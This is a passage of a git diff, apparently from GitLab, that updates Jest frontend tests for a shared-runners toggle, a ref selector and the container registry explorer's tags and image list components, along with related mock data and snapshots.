+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ ],
+ yearPipelinesLabels: [
+ 'December 2019',
+ 'January 2020',
+ 'February 2020',
+ 'March 2020',
+ 'April 2020',
+ 'May 2020',
+ 'June 2020',
+ 'July 2020',
+ 'August 2020',
+ 'September 2020',
+ 'October 2020',
+ 'November 2020',
+ 'December 2020',
+ ],
+ yearPipelinesTotals: [0, 0, 0, 0, 0, 0, 0, 0, 23, 7, 2, 2, 0],
+ yearPipelinesSuccessful: [0, 0, 0, 0, 0, 0, 0, 0, 17, 5, 1, 0, 0],
+ pipelineTimesLabels: [
+ 'b3781247',
+ 'b3781247',
+ 'a50ba059',
+ '8e414f3b',
+ 'b2964d50',
+ '7caa525b',
+ '761b164e',
+ 'd3eccd18',
+ 'e2750f63',
+ 'e2750f63',
+ '1dfb4b96',
+ 'b49d6f94',
+ '66fa2f80',
+ 'e2750f63',
+ 'fc82cf15',
+ '19fb20b2',
+ '25f03a24',
+ 'e054110f',
+ '0278b7b2',
+ '38478c16',
+ '38478c16',
+ '38478c16',
+ '1fb2103e',
+ '97b99fb5',
+ '8abc6e87',
+ 'c94e80e3',
+ '5d349a50',
+ '5d349a50',
+ '9c581037',
+ '02d95fb2',
+ ],
+ pipelineTimesValues: [
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ 1,
+ 1,
+ 2,
+ 1,
+ 0,
+ 1,
+ 2,
+ 2,
+ 0,
+ 4,
+ 2,
+ 1,
+ 2,
+ 1,
+ 1,
+ 0,
+ 1,
+ 1,
+ 0,
+ 1,
+ 5,
+ 2,
+ 0,
+ 0,
+ 0,
+ ],
+ __typename: 'Analytics',
+ },
+ __typename: 'Project',
+ },
+ },
+};
diff --git a/spec/frontend/projects/settings/components/shared_runners_toggle_spec.js b/spec/frontend/projects/settings/components/shared_runners_toggle_spec.js
new file mode 100644
index 00000000000..1fac3d07b16
--- /dev/null
+++ b/spec/frontend/projects/settings/components/shared_runners_toggle_spec.js
@@ -0,0 +1,157 @@
+import { GlAlert, GlToggle, GlTooltip } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import MockAxiosAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+import SharedRunnersToggleComponent from '~/projects/settings/components/shared_runners_toggle.vue';
+import axios from '~/lib/utils/axios_utils';
+
+const TEST_UPDATE_PATH = '/test/update_shared_runners';
+
+jest.mock('~/flash');
+
+describe('projects/settings/components/shared_runners', () => {
+ let wrapper;
+ let mockAxios;
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(SharedRunnersToggleComponent, {
+ propsData: {
+ isEnabled: false,
+ isDisabledAndUnoverridable: false,
+ isLoading: false,
+ updatePath: TEST_UPDATE_PATH,
+ ...props,
+ },
+ });
+ };
+
+ const findErrorAlert = () => wrapper.find(GlAlert);
+ const findSharedRunnersToggle = () => wrapper.find(GlToggle);
+ const findToggleTooltip = () => wrapper.find(GlTooltip);
+ const getToggleValue = () => findSharedRunnersToggle().props('value');
+ const isToggleLoading = () => findSharedRunnersToggle().props('isLoading');
+ const isToggleDisabled = () => findSharedRunnersToggle().props('disabled');
+
+ beforeEach(() => {
+ mockAxios = new MockAxiosAdapter(axios);
+ mockAxios.onPost(TEST_UPDATE_PATH).reply(200);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ mockAxios.restore();
+ });
+
+ describe('with group share settings DISABLED', () => {
+ beforeEach(() => {
+ createComponent({
+ isDisabledAndUnoverridable: true,
+ });
+ });
+
+ it('toggle should be disabled', () => {
+ expect(isToggleDisabled()).toBe(true);
+ });
+
+ it('tooltip should exist explaining why the toggle is disabled', () => {
+ expect(findToggleTooltip().exists()).toBe(true);
+ });
+ });
+
+ describe('with group share settings ENABLED', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('toggle should be enabled', () => {
+ expect(isToggleDisabled()).toBe(false);
+ });
+
+ it('loading icon, error message, and tooltip should not exist', () => {
+ expect(isToggleLoading()).toBe(false);
+ expect(findErrorAlert().exists()).toBe(false);
+ expect(findToggleTooltip().exists()).toBe(false);
+ });
+
+ describe('with shared runners DISABLED', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('toggle should be turned off', () => {
+ expect(getToggleValue()).toBe(false);
+ });
+
+ it('can enable toggle', async () => {
+ findSharedRunnersToggle().vm.$emit('change', true);
+ await waitForPromises();
+
+ expect(mockAxios.history.post[0].data).toEqual(undefined);
+ expect(mockAxios.history.post).toHaveLength(1);
+ expect(findErrorAlert().exists()).toBe(false);
+ expect(getToggleValue()).toBe(true);
+ });
+ });
+
+ describe('with shared runners ENABLED', () => {
+ beforeEach(() => {
+ createComponent({ isEnabled: true });
+ });
+
+ it('toggle should be turned on', () => {
+ expect(getToggleValue()).toBe(true);
+ });
+
+ it('can disable toggle', async () => {
+ findSharedRunnersToggle().vm.$emit('change', true);
+ await waitForPromises();
+
+ expect(mockAxios.history.post[0].data).toEqual(undefined);
+ expect(mockAxios.history.post).toHaveLength(1);
+ expect(findErrorAlert().exists()).toBe(false);
+ expect(getToggleValue()).toBe(false);
+ });
+ });
+
+ describe('loading icon', () => {
+ it('should show and hide on request', async () => {
+ createComponent();
+ expect(isToggleLoading()).toBe(false);
+
+ findSharedRunnersToggle().vm.$emit('change', true);
+ await wrapper.vm.$nextTick();
+ expect(isToggleLoading()).toBe(true);
+
+ await waitForPromises();
+ expect(isToggleLoading()).toBe(false);
+ });
+ });
+
+ describe('when request encounters an error', () => {
+ it('should show custom error message from API if it exists', async () => {
+ mockAxios.onPost(TEST_UPDATE_PATH).reply(401, { error: 'Custom API Error message' });
+ createComponent();
+ expect(getToggleValue()).toBe(false);
+
+ findSharedRunnersToggle().vm.$emit('change', true);
+ await waitForPromises();
+
+ expect(findErrorAlert().text()).toBe('Custom API Error message');
+ expect(getToggleValue()).toBe(false); // toggle value should not change
+ });
+
+ it('should show default error message if API does not return a custom error message', async () => {
+ mockAxios.onPost(TEST_UPDATE_PATH).reply(401);
+ createComponent();
+ expect(getToggleValue()).toBe(false);
+
+ findSharedRunnersToggle().vm.$emit('change', true);
+ await waitForPromises();
+
+ expect(findErrorAlert().text()).toBe('An error occurred while updating the configuration.');
+ expect(getToggleValue()).toBe(false); // toggle value should not change
+ });
+ });
+ });
+});
diff --git a/spec/frontend/ref/components/ref_selector_spec.js b/spec/frontend/ref/components/ref_selector_spec.js
index 5eee22f479e..7f0a4c7d3f4 100644
--- a/spec/frontend/ref/components/ref_selector_spec.js
+++ b/spec/frontend/ref/components/ref_selector_spec.js
@@ -128,14 +128,17 @@ describe('Ref selector component', () => {
const selectFirstBranch = () => {
findFirstBranchDropdownItem().vm.$emit('click');
+ return wrapper.vm.$nextTick();
};
const selectFirstTag = () => {
findFirstTagDropdownItem().vm.$emit('click');
+ return wrapper.vm.$nextTick();
};
const selectFirstCommit = () => {
findFirstCommitDropdownItem().vm.$emit('click');
+ return wrapper.vm.$nextTick();
};
const waitForRequests = ({ andClearMocks } = { andClearMocks: false }) =>
@@ -522,75 +525,73 @@ describe('Ref selector component', () => {
return waitForRequests();
});
- it('renders a checkmark by the selected item', () => {
+ it('renders a checkmark by the selected item', async () => {
expect(findFirstBranchDropdownItem().find(GlIcon).element).toHaveClass(
'gl-visibility-hidden',
);
- selectFirstBranch();
+ await selectFirstBranch();
- return localVue.nextTick().then(() => {
- expect(findFirstBranchDropdownItem().find(GlIcon).element).not.toHaveClass(
- 'gl-visibility-hidden',
- );
- });
+ expect(findFirstBranchDropdownItem().find(GlIcon).element).not.toHaveClass(
+ 'gl-visibility-hidden',
+ );
});
describe('when a branch is seleceted', () => {
- it("displays the branch name in the dropdown's button", () => {
+ it("displays the branch name in the dropdown's button", async () => {
expect(findButtonContent().text()).toBe(DEFAULT_I18N.noRefSelected);
- selectFirstBranch();
+ await selectFirstBranch();
return localVue.nextTick().then(() => {
expect(findButtonContent().text()).toBe(fixtures.branches[0].name);
});
});
- it("updates the v-model binding with the branch's name", () => {
+ it("updates the v-model binding with the branch's name", async () => {
expect(wrapper.vm.value).toEqual('');
- selectFirstBranch();
+ await selectFirstBranch();
expect(wrapper.vm.value).toEqual(fixtures.branches[0].name);
});
});
describe('when a tag is seleceted', () => {
- it("displays the tag name in the dropdown's button", () => {
+ it("displays the tag name in the dropdown's button", async () => {
expect(findButtonContent().text()).toBe(DEFAULT_I18N.noRefSelected);
- selectFirstTag();
+ await selectFirstTag();
return localVue.nextTick().then(() => {
expect(findButtonContent().text()).toBe(fixtures.tags[0].name);
});
});
- it("updates the v-model binding with the tag's name", () => {
+ it("updates the v-model binding with the tag's name", async () => {
expect(wrapper.vm.value).toEqual('');
- selectFirstTag();
+ await selectFirstTag();
expect(wrapper.vm.value).toEqual(fixtures.tags[0].name);
});
});
describe('when a commit is selected', () => {
- it("displays the full SHA in the dropdown's button", () => {
+ it("displays the full SHA in the dropdown's button", async () => {
expect(findButtonContent().text()).toBe(DEFAULT_I18N.noRefSelected);
- selectFirstCommit();
+ await selectFirstCommit();
return localVue.nextTick().then(() => {
expect(findButtonContent().text()).toBe(fixtures.commit.id);
});
});
- it("updates the v-model binding with the commit's full SHA", () => {
+ it("updates the v-model binding with the commit's full SHA", async () => {
expect(wrapper.vm.value).toEqual('');
- selectFirstCommit();
+ await selectFirstCommit();
expect(wrapper.vm.value).toEqual(fixtures.commit.id);
});
diff --git a/spec/frontend/registry/explorer/components/details_page/__snapshots__/tags_loader_spec.js.snap b/spec/frontend/registry/explorer/components/details_page/__snapshots__/tags_loader_spec.js.snap
index aeb49f88770..5f191ef5561 100644
--- a/spec/frontend/registry/explorer/components/details_page/__snapshots__/tags_loader_spec.js.snap
+++ b/spec/frontend/registry/explorer/components/details_page/__snapshots__/tags_loader_spec.js.snap
@@ -2,9 +2,7 @@
exports[`TagsLoader component has the correct markup 1`] = `
<div>
- <div
- preserve-aspect-ratio="xMinYMax meet"
- >
+ <div>
<rect
height="15"
rx="4"
diff --git a/spec/frontend/registry/explorer/components/details_page/details_header_spec.js b/spec/frontend/registry/explorer/components/details_page/details_header_spec.js
index fc93e9094c9..ec883886026 100644
--- a/spec/frontend/registry/explorer/components/details_page/details_header_spec.js
+++ b/spec/frontend/registry/explorer/components/details_page/details_header_spec.js
@@ -7,9 +7,27 @@ import { DETAILS_PAGE_TITLE } from '~/registry/explorer/constants';
describe('Details Header', () => {
let wrapper;
- const mountComponent = propsData => {
+ const defaultImage = {
+ name: 'foo',
+ updatedAt: '2020-11-03T13:29:21Z',
+ project: {
+ visibility: 'public',
+ },
+ };
+
+ const findLastUpdatedAndVisibility = () => wrapper.find('[data-testid="updated-and-visibility"]');
+
+ const waitForMetadataItems = async () => {
+ // Metadata items are printed by a loop in the title-area and it takes two ticks for them to be available
+ await wrapper.vm.$nextTick();
+ await wrapper.vm.$nextTick();
+ };
+
+ const mountComponent = (image = defaultImage) => {
wrapper = shallowMount(component, {
- propsData,
+ propsData: {
+ image,
+ },
stubs: {
GlSprintf,
TitleArea,
@@ -23,12 +41,34 @@ describe('Details Header', () => {
});
it('has the correct title ', () => {
- mountComponent();
+ mountComponent({ ...defaultImage, name: '' });
expect(wrapper.text()).toMatchInterpolatedText(DETAILS_PAGE_TITLE);
});
it('shows imageName in the title', () => {
- mountComponent({ imageName: 'foo' });
+ mountComponent();
expect(wrapper.text()).toContain('foo');
});
+
+ it('has a metadata item with last updated text', async () => {
+ mountComponent();
+ await waitForMetadataItems();
+
+ expect(findLastUpdatedAndVisibility().props('text')).toBe('Last updated 1 month ago');
+ });
+
+ describe('visibility icon', () => {
+ it('shows an eye when the project is public', async () => {
+ mountComponent();
+ await waitForMetadataItems();
+
+ expect(findLastUpdatedAndVisibility().props('icon')).toBe('eye');
+ });
+ it('shows an eye slashed when the project is not public', async () => {
+ mountComponent({ ...defaultImage, project: { visibility: 'private' } });
+ await waitForMetadataItems();
+
+ expect(findLastUpdatedAndVisibility().props('icon')).toBe('eye-slash');
+ });
+ });
});
diff --git a/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js b/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js
index 3276ef911e3..e1b75636735 100644
--- a/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js
+++ b/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js
@@ -15,12 +15,12 @@ import {
NOT_AVAILABLE_SIZE,
} from '~/registry/explorer/constants/index';
-import { tagsListResponse } from '../../mock_data';
+import { tagsMock } from '../../mock_data';
import { ListItem } from '../../stubs';
describe('tags list row', () => {
let wrapper;
- const [tag] = [...tagsListResponse.data];
+ const [tag] = [...tagsMock];
const defaultProps = { tag, isMobile: false, index: 0 };
@@ -65,7 +65,7 @@ describe('tags list row', () => {
});
it("does not exist when the row can't be deleted", () => {
- const customTag = { ...tag, destroy_path: '' };
+ const customTag = { ...tag, canDelete: false };
mountComponent({ ...defaultProps, tag: customTag });
@@ -137,8 +137,8 @@ describe('tags list row', () => {
mountComponent();
expect(findClipboardButton().attributes()).toMatchObject({
- text: 'location',
- title: 'location',
+ text: tag.location,
+ title: tag.location,
});
});
});
@@ -171,26 +171,26 @@ describe('tags list row', () => {
expect(findSize().exists()).toBe(true);
});
- it('contains the total_size and layers', () => {
- mountComponent({ ...defaultProps, tag: { ...tag, total_size: 1024 } });
+ it('contains the totalSize and layers', () => {
+ mountComponent({ ...defaultProps, tag: { ...tag, totalSize: 1024, layers: 10 } });
expect(findSize().text()).toMatchInterpolatedText('1.00 KiB · 10 layers');
});
- it('when total_size is missing', () => {
- mountComponent();
+ it('when totalSize is missing', () => {
+ mountComponent({ ...defaultProps, tag: { ...tag, totalSize: 0, layers: 10 } });
expect(findSize().text()).toMatchInterpolatedText(`${NOT_AVAILABLE_SIZE} · 10 layers`);
});
it('when layers are missing', () => {
- mountComponent({ ...defaultProps, tag: { ...tag, total_size: 1024, layers: null } });
+ mountComponent({ ...defaultProps, tag: { ...tag, totalSize: 1024 } });
expect(findSize().text()).toMatchInterpolatedText('1.00 KiB');
});
it('when there is 1 layer', () => {
- mountComponent({ ...defaultProps, tag: { ...tag, layers: 1 } });
+ mountComponent({ ...defaultProps, tag: { ...tag, totalSize: 0, layers: 1 } });
expect(findSize().text()).toMatchInterpolatedText(`${NOT_AVAILABLE_SIZE} · 1 layer`);
});
@@ -218,7 +218,7 @@ describe('tags list row', () => {
it('pass the correct props to time ago tooltip', () => {
mountComponent();
- expect(findTimeAgoTooltip().attributes()).toMatchObject({ time: tag.created_at });
+ expect(findTimeAgoTooltip().attributes()).toMatchObject({ time: tag.createdAt });
});
});
@@ -232,7 +232,7 @@ describe('tags list row', () => {
it('has the correct text', () => {
mountComponent();
- expect(findShortRevision().text()).toMatchInterpolatedText('Digest: 1ab51d5');
+ expect(findShortRevision().text()).toMatchInterpolatedText('Digest: 2cf3d2f');
});
it(`displays ${NOT_AVAILABLE_TEXT} when digest is missing`, () => {
@@ -260,18 +260,15 @@ describe('tags list row', () => {
});
it.each`
- destroy_path | digest
- ${'foo'} | ${null}
- ${null} | ${'foo'}
- ${null} | ${null}
- `(
- 'is disabled when destroy_path is $destroy_path and digest is $digest',
- ({ destroy_path, digest }) => {
- mountComponent({ ...defaultProps, tag: { ...tag, destroy_path, digest } });
-
- expect(findDeleteButton().attributes('disabled')).toBe('true');
- },
- );
+ canDelete | digest
+ ${true} | ${null}
+ ${false} | ${'foo'}
+ ${false} | ${null}
+ `('is disabled when canDelete is $canDelete and digest is $digest', ({ canDelete, digest }) => {
+ mountComponent({ ...defaultProps, tag: { ...tag, canDelete, digest } });
+
+ expect(findDeleteButton().attributes('disabled')).toBe('true');
+ });
it('delete event emits delete', () => {
mountComponent();
@@ -295,10 +292,10 @@ describe('tags list row', () => {
});
describe.each`
- name | finderFunction | text | icon | clipboard
- ${'published date detail'} | ${findPublishedDateDetail} | ${'Published to the bar image repository at 10:23 GMT+0000 on 2020-06-29'} | ${'clock'} | ${false}
- ${'manifest detail'} | ${findManifestDetail} | ${'Manifest digest: sha256:1ab51d519f574b636ae7788051c60239334ae8622a9fd82a0cf7bae7786dfd5c'} | ${'log'} | ${true}
- ${'configuration detail'} | ${findConfigurationDetail} | ${'Configuration digest: sha256:b118ab5b0e90b7cb5127db31d5321ac14961d097516a8e0e72084b6cdc783b43'} | ${'cloud-gear'} | ${true}
+ name | finderFunction | text | icon | clipboard
+ ${'published date detail'} | ${findPublishedDateDetail} | ${'Published to the gitlab-org/gitlab-test/rails-12009 image repository at 01:29 GMT+0000 on 2020-11-03'} | ${'clock'} | ${false}
+ ${'manifest detail'} | ${findManifestDetail} | ${'Manifest digest: sha256:2cf3d2fdac1b04a14301d47d51cb88dcd26714c74f91440eeee99ce399089062'} | ${'log'} | ${true}
+ ${'configuration detail'} | ${findConfigurationDetail} | ${'Configuration digest: sha256:c2613843ab33aabf847965442b13a8b55a56ae28837ce182627c0716eb08c02b'} | ${'cloud-gear'} | ${true}
`('$name details row', ({ finderFunction, text, icon, clipboard }) => {
it(`has ${text} as text`, () => {
expect(finderFunction().text()).toMatchInterpolatedText(text);
diff --git a/spec/frontend/registry/explorer/components/details_page/tags_list_spec.js b/spec/frontend/registry/explorer/components/details_page/tags_list_spec.js
index ebeaa8ff870..035b59731c9 100644
--- a/spec/frontend/registry/explorer/components/details_page/tags_list_spec.js
+++ b/spec/frontend/registry/explorer/components/details_page/tags_list_spec.js
@@ -3,12 +3,12 @@ import { GlButton } from '@gitlab/ui';
import component from '~/registry/explorer/components/details_page/tags_list.vue';
import TagsListRow from '~/registry/explorer/components/details_page/tags_list_row.vue';
import { TAGS_LIST_TITLE, REMOVE_TAGS_BUTTON_TITLE } from '~/registry/explorer/constants/index';
-import { tagsListResponse } from '../../mock_data';
+import { tagsMock } from '../../mock_data';
describe('Tags List', () => {
let wrapper;
- const tags = [...tagsListResponse.data];
- const readOnlyTags = tags.map(t => ({ ...t, destroy_path: undefined }));
+ const tags = [...tagsMock];
+ const readOnlyTags = tags.map(t => ({ ...t, canDelete: false }));
const findTagsListRow = () => wrapper.findAll(TagsListRow);
const findDeleteButton = () => wrapper.find(GlButton);
@@ -92,7 +92,7 @@ describe('Tags List', () => {
.vm.$emit('select');
findDeleteButton().vm.$emit('click');
- expect(wrapper.emitted('delete')).toEqual([[{ centos6: true }]]);
+ expect(wrapper.emitted('delete')).toEqual([[{ 'beta-24753': true }]]);
});
});
@@ -132,7 +132,7 @@ describe('Tags List', () => {
findTagsListRow()
.at(0)
.vm.$emit('delete');
- expect(wrapper.emitted('delete')).toEqual([[{ centos6: true }]]);
+ expect(wrapper.emitted('delete')).toEqual([[{ 'beta-24753': true }]]);
});
});
});
diff --git a/spec/frontend/registry/explorer/components/list_page/__snapshots__/group_empty_state_spec.js.snap b/spec/frontend/registry/explorer/components/list_page/__snapshots__/group_empty_state_spec.js.snap
index a8412e2bde9..56579847468 100644
--- a/spec/frontend/registry/explorer/components/list_page/__snapshots__/group_empty_state_spec.js.snap
+++ b/spec/frontend/registry/explorer/components/list_page/__snapshots__/group_empty_state_spec.js.snap
@@ -1,10 +1,7 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`Registry Group Empty state to match the default snapshot 1`] = `
-<div
- svg-path="foo"
- title="There are no container images available in this group"
->
+<div>
<p>
With the Container Registry, every project can have its own space to store its Docker images. Push at least one Docker image in one of this group's projects in order to show up here.
<gl-link-stub
diff --git a/spec/frontend/registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap b/spec/frontend/registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap
index 8413e17c7b2..bab6b25cc15 100644
--- a/spec/frontend/registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap
+++ b/spec/frontend/registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap
@@ -1,10 +1,7 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`Registry Project Empty state to match the default snapshot 1`] = `
-<div
- svg-path="bazFoo"
- title="There are no container images stored for this project"
->
+<div>
<p>
With the Container Registry, every project can have its own space to store its Docker images.
<gl-link-stub
@@ -46,7 +43,7 @@ exports[`Registry Project Empty state to match the default snapshot 1`] = `
class="gl-font-monospace!"
readonly=""
type="text"
- value="docker login bar"
+ value="bazbaz"
/>
</gl-form-input-group-stub>
@@ -67,7 +64,7 @@ exports[`Registry Project Empty state to match the default snapshot 1`] = `
class="gl-font-monospace!"
readonly=""
type="text"
- value="docker build -t foo ."
+ value="foofoo"
/>
</gl-form-input-group-stub>
@@ -79,7 +76,7 @@ exports[`Registry Project Empty state to match the default snapshot 1`] = `
class="gl-font-monospace!"
readonly=""
type="text"
- value="docker push foo"
+ value="barbar"
/>
</gl-form-input-group-stub>
</div>
diff --git a/spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js b/spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js
index 551d1eee68d..74b9ea5fd96 100644
--- a/spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js
+++ b/spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js
@@ -2,10 +2,8 @@ import Vuex from 'vuex';
import { mount, createLocalVue } from '@vue/test-utils';
import { GlDropdown } from '@gitlab/ui';
import Tracking from '~/tracking';
-import * as getters from '~/registry/explorer/stores/getters';
import QuickstartDropdown from '~/registry/explorer/components/list_page/cli_commands.vue';
import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
-
import {
QUICK_START,
LOGIN_COMMAND_LABEL,
@@ -14,31 +12,33 @@ import {
COPY_BUILD_TITLE,
PUSH_COMMAND_LABEL,
COPY_PUSH_TITLE,
-} from '~/registry/explorer//constants';
+} from '~/registry/explorer/constants';
+
+import { dockerCommands } from '../../mock_data';
const localVue = createLocalVue();
localVue.use(Vuex);
describe('cli_commands', () => {
let wrapper;
- let store;
+
+ const config = {
+ repositoryUrl: 'foo',
+ registryHostUrlWithPort: 'bar',
+ };
const findDropdownButton = () => wrapper.find(GlDropdown);
const findCodeInstruction = () => wrapper.findAll(CodeInstruction);
const mountComponent = () => {
- store = new Vuex.Store({
- state: {
- config: {
- repositoryUrl: 'foo',
- registryHostUrlWithPort: 'bar',
- },
- },
- getters,
- });
wrapper = mount(QuickstartDropdown, {
localVue,
- store,
+ provide() {
+ return {
+ config,
+ ...dockerCommands,
+ };
+ },
});
};
@@ -50,7 +50,6 @@ describe('cli_commands', () => {
afterEach(() => {
wrapper.destroy();
wrapper = null;
- store = null;
});
it('shows the correct text on the button', () => {
@@ -67,11 +66,11 @@ describe('cli_commands', () => {
});
describe.each`
- index | labelText | titleText | getter | trackedEvent
- ${0} | ${LOGIN_COMMAND_LABEL} | ${COPY_LOGIN_TITLE} | ${'dockerLoginCommand'} | ${'click_copy_login'}
- ${1} | ${BUILD_COMMAND_LABEL} | ${COPY_BUILD_TITLE} | ${'dockerBuildCommand'} | ${'click_copy_build'}
- ${2} | ${PUSH_COMMAND_LABEL} | ${COPY_PUSH_TITLE} | ${'dockerPushCommand'} | ${'click_copy_push'}
- `('code instructions at $index', ({ index, labelText, titleText, getter, trackedEvent }) => {
+ index | labelText | titleText | command | trackedEvent
+ ${0} | ${LOGIN_COMMAND_LABEL} | ${COPY_LOGIN_TITLE} | ${dockerCommands.dockerLoginCommand} | ${'click_copy_login'}
+ ${1} | ${BUILD_COMMAND_LABEL} | ${COPY_BUILD_TITLE} | ${dockerCommands.dockerBuildCommand} | ${'click_copy_build'}
+ ${2} | ${PUSH_COMMAND_LABEL} | ${COPY_PUSH_TITLE} | ${dockerCommands.dockerPushCommand} | ${'click_copy_push'}
+ `('code instructions at $index', ({ index, labelText, titleText, command, trackedEvent }) => {
let codeInstruction;
beforeEach(() => {
@@ -85,7 +84,7 @@ describe('cli_commands', () => {
it(`has the correct props`, () => {
expect(codeInstruction.props()).toMatchObject({
label: labelText,
- instruction: store.getters[getter],
+ instruction: command,
copyText: titleText,
trackingAction: trackedEvent,
trackingLabel: 'quickstart_dropdown',
diff --git a/spec/frontend/registry/explorer/components/list_page/group_empty_state_spec.js b/spec/frontend/registry/explorer/components/list_page/group_empty_state_spec.js
index 2f51e875672..1ba2036dc34 100644
--- a/spec/frontend/registry/explorer/components/list_page/group_empty_state_spec.js
+++ b/spec/frontend/registry/explorer/components/list_page/group_empty_state_spec.js
@@ -9,24 +9,21 @@ localVue.use(Vuex);
describe('Registry Group Empty state', () => {
let wrapper;
- let store;
+ const config = {
+ noContainersImage: 'foo',
+ helpPagePath: 'baz',
+ };
beforeEach(() => {
- store = new Vuex.Store({
- state: {
- config: {
- noContainersImage: 'foo',
- helpPagePath: 'baz',
- },
- },
- });
wrapper = shallowMount(groupEmptyState, {
localVue,
- store,
stubs: {
GlEmptyState,
GlSprintf,
},
+ provide() {
+ return { config };
+ },
});
});
diff --git a/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js b/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js
index 9f7a2758ae1..b9839d92f1d 100644
--- a/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js
+++ b/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js
@@ -1,6 +1,7 @@
import { shallowMount } from '@vue/test-utils';
import { GlIcon, GlSprintf } from '@gitlab/ui';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import Component from '~/registry/explorer/components/list_page/image_list_row.vue';
import ListItem from '~/vue_shared/components/registry/list_item.vue';
@@ -11,13 +12,15 @@ import {
REMOVE_REPOSITORY_LABEL,
ASYNC_DELETE_IMAGE_ERROR_MESSAGE,
CLEANUP_TIMED_OUT_ERROR_MESSAGE,
+ IMAGE_DELETE_SCHEDULED_STATUS,
+ IMAGE_FAILED_DELETED_STATUS,
} from '~/registry/explorer/constants';
import { RouterLink } from '../../stubs';
import { imagesListResponse } from '../../mock_data';
describe('Image List Row', () => {
let wrapper;
- const item = imagesListResponse.data[0];
+ const [item] = imagesListResponse;
const findDetailsLink = () => wrapper.find('[data-testid="details-link"]');
const findTagsCount = () => wrapper.find('[data-testid="tagsCount"]');
@@ -50,13 +53,15 @@ describe('Image List Row', () => {
describe('main tooltip', () => {
it(`the title is ${ROW_SCHEDULED_FOR_DELETION}`, () => {
mountComponent();
+
const tooltip = getBinding(wrapper.element, 'gl-tooltip');
expect(tooltip).toBeDefined();
expect(tooltip.value.title).toBe(ROW_SCHEDULED_FOR_DELETION);
});
it('is disabled when item is being deleted', () => {
- mountComponent({ item: { ...item, deleting: true } });
+ mountComponent({ item: { ...item, status: IMAGE_DELETE_SCHEDULED_STATUS } });
+
const tooltip = getBinding(wrapper.element, 'gl-tooltip');
expect(tooltip.value.disabled).toBe(false);
});
@@ -65,12 +70,13 @@ describe('Image List Row', () => {
describe('image title and path', () => {
it('contains a link to the details page', () => {
mountComponent();
+
const link = findDetailsLink();
expect(link.html()).toContain(item.path);
expect(link.props('to')).toMatchObject({
name: 'details',
params: {
- id: item.id,
+ id: getIdFromGraphQLId(item.id),
},
});
});
@@ -85,16 +91,18 @@ describe('Image List Row', () => {
describe('warning icon', () => {
it.each`
- failedDelete | cleanup_policy_started_at | shown | title
- ${true} | ${true} | ${true} | ${ASYNC_DELETE_IMAGE_ERROR_MESSAGE}
- ${false} | ${true} | ${true} | ${CLEANUP_TIMED_OUT_ERROR_MESSAGE}
- ${false} | ${false} | ${false} | ${''}
+ status | expirationPolicyStartedAt | shown | title
+ ${IMAGE_FAILED_DELETED_STATUS} | ${true} | ${true} | ${ASYNC_DELETE_IMAGE_ERROR_MESSAGE}
+ ${''} | ${true} | ${true} | ${CLEANUP_TIMED_OUT_ERROR_MESSAGE}
+ ${''} | ${false} | ${false} | ${''}
`(
- 'when failedDelete is $failedDelete and cleanup_policy_started_at is $cleanup_policy_started_at',
- ({ cleanup_policy_started_at, failedDelete, shown, title }) => {
- mountComponent({ item: { ...item, failedDelete, cleanup_policy_started_at } });
+ 'when status is $status and expirationPolicyStartedAt is $expirationPolicyStartedAt',
+ ({ expirationPolicyStartedAt, status, shown, title }) => {
+ mountComponent({ item: { ...item, status, expirationPolicyStartedAt } });
+
const icon = findWarningIcon();
expect(icon.exists()).toBe(shown);
+
if (shown) {
const tooltip = getBinding(icon.element, 'gl-tooltip');
expect(tooltip.value.title).toBe(title);
@@ -112,30 +120,33 @@ describe('Image List Row', () => {
it('has the correct props', () => {
mountComponent();
- expect(findDeleteBtn().attributes()).toMatchObject({
+
+ expect(findDeleteBtn().props()).toMatchObject({
title: REMOVE_REPOSITORY_LABEL,
- tooltipdisabled: `${Boolean(item.destroy_path)}`,
- tooltiptitle: LIST_DELETE_BUTTON_DISABLED,
+ tooltipDisabled: item.canDelete,
+ tooltipTitle: LIST_DELETE_BUTTON_DISABLED,
});
});
it('emits a delete event', () => {
mountComponent();
+
findDeleteBtn().vm.$emit('delete');
expect(wrapper.emitted('delete')).toEqual([[item]]);
});
it.each`
- destroy_path | deleting | state
- ${null} | ${null} | ${'true'}
- ${null} | ${true} | ${'true'}
- ${'foo'} | ${true} | ${'true'}
- ${'foo'} | ${false} | ${undefined}
+ canDelete | status | state
+ ${false} | ${''} | ${true}
+ ${false} | ${IMAGE_DELETE_SCHEDULED_STATUS} | ${true}
+ ${true} | ${IMAGE_DELETE_SCHEDULED_STATUS} | ${true}
+ ${true} | ${''} | ${false}
`(
- 'disabled is $state when destroy_path is $destroy_path and deleting is $deleting',
- ({ destroy_path, deleting, state }) => {
- mountComponent({ item: { ...item, destroy_path, deleting } });
- expect(findDeleteBtn().attributes('disabled')).toBe(state);
+ 'disabled is $state when canDelete is $canDelete and status is $status',
